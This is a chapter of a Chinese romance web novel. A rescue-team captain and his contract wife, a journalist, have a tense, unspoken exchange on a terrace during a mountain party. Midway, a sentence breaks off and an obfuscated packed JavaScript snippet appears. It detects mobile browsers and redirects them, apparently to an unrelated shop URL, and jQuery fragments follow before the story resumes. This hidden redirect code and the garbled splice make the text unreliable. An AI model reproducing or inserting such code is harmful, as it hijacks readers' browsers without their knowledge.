25. 第 25 章

作品:《声声如叙[先婚后爱]

    山间幽静,更显得这一方小院烟火气十足。


    酒酣饭酽之际,有人在明月清风下,弹起一首悠扬轻快的歌。


    清朗星空下,喧闹声渐冷渐薄,剥去了觥筹交错的表面热闹后,最宜交心。


    “马上汛期了,”纪士诚坐在露台一角,一边抽烟一边对齐寻道:“这段时间估计要随时待命,你那边要有事走不开,今年防汛就别来了。”


    齐寻手臂松松搭在栏杆边缘:“我没事,倒是你,不行就别勉强。”


    纪士诚在缭绕烟雾后静了一瞬,笑道:“这话有歧义。”


    纪队长之所以会加入微光,就是因为多年前京屿的一场特大暴雨引发了洪水,受困数日后他被微光所救,而他的妻子却永远长眠在了那个绵延不绝的雨天。


    但很多年过去,他从不避讳跟大家提起亡妻,大家从一开始的小心翼翼,也渐渐变得大方坦然。


    可齐寻知道,每到夏季汛期,纪士诚每天都能抽掉一包烟。


    “我说真的,”纪士诚硬邦邦地转移话题:“留我一个调配就行,你好好陪家里。”


    他意有所指:“这不是新婚燕尔,正关键呢。”


    齐寻仰头望星空,想起下午在话剧中心门口,看见黎叙闻笑语晏晏地跟另一个男人并肩走出大门的场景。


    “不用。”


    纪士诚皱眉看他:“好不容易找到人,好好过日子成不成?”他指尖星火明灭一瞬:“出勤没有不危险的,你的小命留着,报你的恩,得跟人家过一辈子呢。”


    “能怎么留,难不成我还要退出微光?”


    纪士诚说着说着动了脾气:“你这样次次救援都不要命,到时候再弄得闻闻给你当未亡人……那日子不好过,我有发言权。”


    他后面说了些什么,齐寻已经有些听不清了。


    他的目光空远地抛向远处月色下渐冷的浅山,想,一辈子啊……


    多遥远的词。


    他神思一晃,想到的却是那句话——


    “背着那么多‘如果’,你已经够辛苦了。”


    那时候划过的灯牌反光,在她眸底投下一片璀璨星河。


    被倒映在那样一双眼睛里,他竟然也觉得自己珍贵。


    可她的心里,早就填满了另外一个人——让他整个世界为之一亮的光彩,也是他无耻地偷来的。


    又一次。


    齐寻视线一垂,不做声了。


    纪士诚还想说什么,余光一斜,瞄到从屋里出来的窈窕人影,笑道:“说人人到,行了,正主儿来了。”


    入夜后山中寂静,野风绕过无声颤动的枝丫,送来山谷里声声可闻的虫鸣。


    于是身后带着醉意的喧嚷人声愈加清晰。


    “你说白蛇为什么不跟她讲实话啊?明明……”


    “哎谁知道了,有这么个人能让他放下念想,也不错了。”


    只来得及听了这么两句,更远处的吆喝声传来,两个声音低声说着别的,慢慢离开了。


    留黎叙闻一个人隐在暗处,仰头对着漫天星辰发呆。


    她好像……犯了一个错误。


    暗访时齐寻对她的保护和默契,让她误以为他们已经亲密无间,还有拓着钢印的结婚证,她竟短暂地沉湎于她亲手缔造的假象里。


    今天来聚会她才猛然惊醒。


    他们不过是合作关系,他和偶尔跟着她出门采新闻的摄像大哥没什么不同。


    所以他有那么多不想说、不想示于她的私事,也很正当吧,毕竟这样的两个人,实在不必做到坦诚。


    那是真伴侣才有的义务。


    心中杂念太喧嚣,她没有听见露台的另一边,有人放轻了脚步向她走来,生怕搅扰了她的沉思。


    风贴着她的耳廓倏忽而过,她抬手去理飞扬的鬓发,一下秒,腕间却忽然爬上另一个人灼热的体温。


    她猛地回头,见自己小臂上停着一只青筋凸起的手,像担心弄疼她,只虚虚环住那一截洒了月光的皓腕。


    她心脏紧缩一瞬,小臂跟着颤动一下,一时却忘了挣开。


    “别动。”


    他说话时胸腔微微震动,扰动两人之间的空气,弹动得黎叙闻耳垂一软。


    她吊在半空中的指尖惊怯似地,微不可查地收了收。


    齐寻对这反应浑然不觉,反而低头去看她小臂内侧。


    她顺着他的目光看去,见那里被露台栏杆印上了一道脏污的灰,便笑了一声:“我都没发现。”


    说着就想把手臂抽回来擦掉,却没能抽动。


    冰凉柔软的触感覆上那块沾着污渍的皮肤,他拇指骨节摁住湿巾,在那里来回滑动着反复擦拭。


    雪白湿巾软绵地垂在乌夜里,盖不住那道长长的湿痕,夜风一来,凉得人一哆嗦。


    黎叙闻思绪忽然不受控制地飘散而去。


    她想起小时候发烧去医院吊水,小脸烧得通红,身上每一寸皮肤都被燎得很薄,碰一下她就想躲。


    那时候也是这样,护士阿姨拿酒精棉球在她小臂上细致地擦拭,消毒完毕后她火热皮肤上的酒精迫不及待地挥发,呼啦啦带走所有热度,冰冰凉凉的。


    护士扭头去取针管的半分钟里,她看着自己手臂上迅速变小的潮湿岛屿,既害怕,又透着她自己都不能理解的隐隐的期待。


    就像现在一样。


    落地窗内灯光摇晃,人声嘈杂,幢幢人影投在露台陈旧的木质地面上,模糊不清地流过,而他们站在隐秘的暗夜里,呼吸可闻地偏安一隅。


    黎叙闻视线无处安放,只能扭头抛向室内,却正巧对上小熊嗑得嘴角飞天的揶揄目光。


    被她抓了个正着,小熊对她抱歉地挥挥手,笑哈哈地走了。


    她看着小熊圆润地迅速滚走的身影,心里复杂的期待蓦地散了。


    ……原来又是一出戏,是他看到了她身后的观众,一时兴起,拉着她附赠的幕间戏。


    她从齐寻手里抽走湿巾,收回胳膊:“我自己来。”


    齐寻沉默地看着她三两下抹净了污痕,对她抬起手肘,将自己的小臂送到她眼前。


    黎叙闻皱着眉定睛一看,他麦色的肌肤上,同样的位置,跟她蹭上了一条一模一样的痕迹。


    她抬眼看他,正对上对方平静又理所应当的眼神。


    来而不往非礼也,她只能就着他抬起手臂的动作,对着那块脏污狠狠一抹。


    把刚刚她胡思乱想的痕迹也一并抹得荡然无存。


    齐寻收回手臂,默默搓了搓那块皮肤。


    ……劲儿还挺大。


    他视线从她头顶落下。


    她整个人都在月色中泛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833548|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着泠泠的光,跟之前在副驾若无其事地藏起他“一千八的咪头”的姑娘,根本判若两人。


    心脏莫名泛起一种急刹车后紧随而来的颤动。


    “你们救援队气氛不错。”黎叙闻率先开口,打破蠢蠢欲动的沉默:“我现在有点庆幸我当时没退缩。”


    齐寻回忆起她在训练基地,浑身绑满了安全绳,身后就是悬崖,依然丝毫不怵地跟自己对峙,眼角不经意爬上笑意:“听说你剩下的训练完成得都很好。”


    “那当然,我说了要做的事情,从来没有敷衍的道理。”


    笑过之后,齐寻靠在栏杆上,状似无意地开口:“今年防汛马上开始了,你这个时候入队,算不上好时机。”


    黎叙闻就知道这人还有后话,看了他一眼,故意没做声。


    “培训成绩优秀,不代表实战就没问题。现场情况复杂,需要经验,你……”


    黎叙闻眉眼带笑,声音却冷:“现场医疗组是你调配吗?”


    “……不是。”


    “汛期救援医疗组人够用吗?”


    “不够。”


    “所以为什么?”


    齐寻垂视着她,没有回答。


    背后的客厅里爆发出一阵欢呼和爆笑,推搡声和碰杯声填满了每一点间隙。


    而他们之间静默的空气却无限膨胀开来,将那热闹推挤得遥远而模糊。


    他们寂静地立在栏杆后,肌肤相碰,呼吸可闻,影子却像飘在月色中的两座孤岛。


    黎叙闻凝神定定看了他几秒,笑着抬头去看深远丝绒上缀着的星星。


    “又瞒我?”


    “瞒你什么了?”


    “为什么住毛坯房?为什么不让我去救援?为什么要答应跟我结婚?”


    黎叙闻转过脸,探究的视线落在他眼底:“在你眼里,我又是谁呢?”


    这凛冽的质问每砸碎一个,她就离他遥远一分。


    齐寻勉力维持的保护色,几乎在这些问题的碎片中失效了。


    他掌心在不妙地发热。


    真相就徘徊在他唇齿间,他想就这样不顾后果地全部摊开来给她看,然后捏起她的下巴,将他晦暗卑鄙的心思全都喂给她。


    一片一片地,亲口喂进她的唇间。


    ——跟他分手,我找了你十年,不是为了看你跟别的男人卿卿我我。


    ——你哪里都不要去,不要去看那些污水横流的脏处,更不要去冒一分一毫的风险。


    ——我绝对、绝对不能再……


    但就在他要脱口而出的瞬间,她在医院捏着处方的模样,又忽然出现在他眼前。


    一同出现的,还有那天在车祸救援现场,她眼底缠结着暗红的蛛网,失了魂似地,一步一步向着倒塌的废墟走去。


    心跳不正常地缺失一拍,他猛地闭上眼睛。


    那些过往,不但让他不敢触碰,也给闻闻留下了无法愈合的伤口。


    她好不容易走出来,他不能因为自己一己私欲,再亲手把她的伤口撕开。


    齐寻站直身体,一只手的指节泛白,指尖几乎摁进手掌。


    喧嚣的人声和虫鸣都远去了,所以他的犹疑响得恍若有声。


    玻璃推拉门滑道发出涩哑的呻.吟。


    他背对着她,闷声道:“挺晚了,早点睡吧。”